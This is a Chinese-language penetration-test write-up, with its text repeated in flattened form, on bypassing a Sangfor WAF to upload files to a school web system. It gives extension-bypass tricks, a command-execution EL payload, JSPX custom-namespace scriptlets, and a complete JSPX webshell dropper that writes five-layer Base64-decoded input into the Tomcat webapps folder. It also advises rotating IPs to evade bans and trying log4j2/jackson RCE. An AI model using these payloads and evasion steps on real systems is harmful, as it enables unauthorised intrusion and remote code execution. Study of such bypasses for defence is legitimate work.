记一次绕过waf的任意文件上传
字数 1379 2025-08-27 12:33:23

绕过WAF的任意文件上传技术分析

前言

本文记录了一次针对学校系统的渗透测试过程,重点分析了如何绕过深信服WAF实现任意文件上传。整个过程涉及多种绕过技术,包括后缀名绕过、JSPX命名空间绕过、网站路径获取以及多层编码写入shell等技术。

0x01 获取网站接口

  1. 目标系统是一个内嵌企业微信的HTML套皮应用
  2. 使用Burp Suite抓包获取上传接口和cookie
  3. 发现上传点有以下特点:
    • 文件名强制命名为"code+学号"
    • 后缀为最后一次点号出现之后的字母

0x02 后缀名绕过技术

  1. 常规限制

    • 代码本身不限制后缀名
    • WAF拦截jsp、jspx等常见后缀
  2. 绕过方法

    • 尝试jspp、jspxx等变体后缀(部分绕过)
    • 测试发现Windows特性绕过:
      • 常规手法(如末尾加点号、::$DATA)无效
      • 正斜杠(/)可以成功绕过(关键点)

0x03 内容绕过技术

  1. 常规JSP标记检测

    • 所有常见JSP标记都被WAF拦截
  2. 两种绕过方案

    方案一:JSP EL表达式绕过

    • 使用${}标记
    • 示例payload:${Runtime.getRuntime().exec(request.getParameter("x"))}
    • 但深信服WAF过滤了这种表达式,需要变形绕过

    方案二:JSPX命名空间绕过(最终采用方案)

    • 使用自定义命名空间替换jsp关键字
    • <jsp:scriptlet>替换为<自定义字符:scriptlet>
    • 示例代码:
      <hi xmlns:hi="http://java.sun.com/JSP/Page">
          <hi:scriptlet>
              out.println(30*30);
          </hi:scriptlet>
      </hi>
      

0x04 获取网站路径

  1. Tomcat路径特性

    • 不能使用相对路径
    • Tomcat默认以Tomcat/bin作为根目录
  2. 获取路径方法

    // 获取当前根目录
    String path = System.getProperty("user.dir");
    out.println(path);
    
    // 获取web项目目录
    String path = application.getRealPath("test.jsp");
    out.println(path);
    
    • 最终确定写入路径:D:/tomcat8/webapps/declare/static/upload/test.jsp

0x05 编码或加密绕过WAF写入shell

  1. 多层编码绕过

    • 使用五层Base64编码绕过WAF检测
    • 两层Base64仍被检测到
  2. 完整payload

<hi xmlns:hi="http://java.sun.com/JSP/Page">
    <hi:directive.page import="java.util.Base64,java.io.*"/>
    <hi:scriptlet>
        File file = new File("D:/tomcat8/webapps/declare/static/upload/test.jsp");
        FileWriter fileOut = new FileWriter(file);
        Base64.Decoder base64 = Base64.getDecoder();
        byte[] str = base64.decode(base64.decode(base64.decode(base64.decode(base64.decode(request.getParameter("x").getBytes("utf-8"))))));
        try {
            fileOut.write(new String(str, "utf-8"));
            out.println("写入成功");
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            try {
                if (fileOut != null) {
                    fileOut.close();
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    </hi:scriptlet>
</hi>
  1. 替代方案建议
    • 使用RSA、AES等加密算法可能更有效
    • 五层Base64编码虽然有效但较为笨重

0x06 总结与经验

  1. WAF绕过关键点

    • 正斜杠(/)后缀名绕过
    • JSPX命名空间自定义绕过
    • 多层编码(五层Base64)内容绕过
  2. 渗透测试经验

    • 深信服WAF检测严格,会直接封禁IP
    • 本次测试消耗约30个IP进行fuzz
    • 发现的其他漏洞(如thinkphp5.0.23 RCE、泛微8.0前台SQL注入)因WAF限制未深入测试
  3. 后续建议

    • 可尝试利用发现的log4j2和jackson依赖进行RCE
    • 对于严格WAF,建议准备更多IP资源进行测试
    • 考虑使用更高级的加密算法而非多层Base64编码

附录:技术要点速查表

技术点 方法 备注
后缀名绕过 使用正斜杠(/) Windows特性
JSP标记绕过 自定义命名空间 替换jsp关键字
路径获取 System.getProperty()/application.getRealPath() Tomcat特有
内容绕过 五层Base64编码 两层仍被检测
WAF特性 直接封IP 需准备多个IP
绕过WAF的任意文件上传技术分析 前言 本文记录了一次针对学校系统的渗透测试过程,重点分析了如何绕过深信服WAF实现任意文件上传。整个过程涉及多种绕过技术,包括后缀名绕过、JSPX命名空间绕过、网站路径获取以及多层编码写入shell等技术。 0x01 获取网站接口 目标系统是一个内嵌企业微信的HTML套皮应用 使用Burp Suite抓包获取上传接口和cookie 发现上传点有以下特点: 文件名强制命名为"code+学号" 后缀为最后一次点号出现之后的字母 0x02 后缀名绕过技术 常规限制 : 代码本身不限制后缀名 WAF拦截jsp、jspx等常见后缀 绕过方法 : 尝试jspp、jspxx等变体后缀(部分绕过) 测试发现Windows特性绕过: 常规手法(如末尾加点号、::$DATA)无效 正斜杠(/)可以成功绕过 (关键点) 0x03 内容绕过技术 常规JSP标记检测 : 所有常见JSP标记都被WAF拦截 两种绕过方案 : 方案一:JSP EL表达式绕过 使用 ${} 标记 示例payload: ${Runtime.getRuntime().exec(request.getParameter("x"))} 但深信服WAF过滤了这种表达式,需要变形绕过 方案二:JSPX命名空间绕过(最终采用方案) 使用自定义命名空间替换jsp关键字 将 <jsp:scriptlet> 替换为 <自定义字符:scriptlet> 示例代码: 0x04 获取网站路径 Tomcat路径特性 : 不能使用相对路径 Tomcat默认以Tomcat/bin作为根目录 获取路径方法 : 最终确定写入路径: D:/tomcat8/webapps/declare/static/upload/test.jsp 0x05 编码或加密绕过WAF写入shell 多层编码绕过 : 使用五层Base64编码绕过WAF检测 两层Base64仍被检测到 完整payload : 替代方案建议 : 使用RSA、AES等加密算法可能更有效 五层Base64编码虽然有效但较为笨重 0x06 总结与经验 WAF绕过关键点 : 正斜杠(/)后缀名绕过 JSPX命名空间自定义绕过 多层编码(五层Base64)内容绕过 渗透测试经验 : 深信服WAF检测严格,会直接封禁IP 本次测试消耗约30个IP进行fuzz 发现的其他漏洞(如thinkphp5.0.23 RCE、泛微8.0前台SQL注入)因WAF限制未深入测试 后续建议 : 可尝试利用发现的log4j2和jackson依赖进行RCE 对于严格WAF,建议准备更多IP资源进行测试 考虑使用更高级的加密算法而非多层Base64编码 附录:技术要点速查表 | 技术点 | 方法 | 备注 | |--------|------|------| | 后缀名绕过 | 使用正斜杠(/) | Windows特性 | | JSP标记绕过 | 自定义命名空间 | 替换jsp关键字 | | 路径获取 | System.getProperty()/application.getRealPath() | Tomcat特有 | | 内容绕过 | 五层Base64编码 | 两层仍被检测 | | WAF特性 | 直接封IP | 需准备多个IP |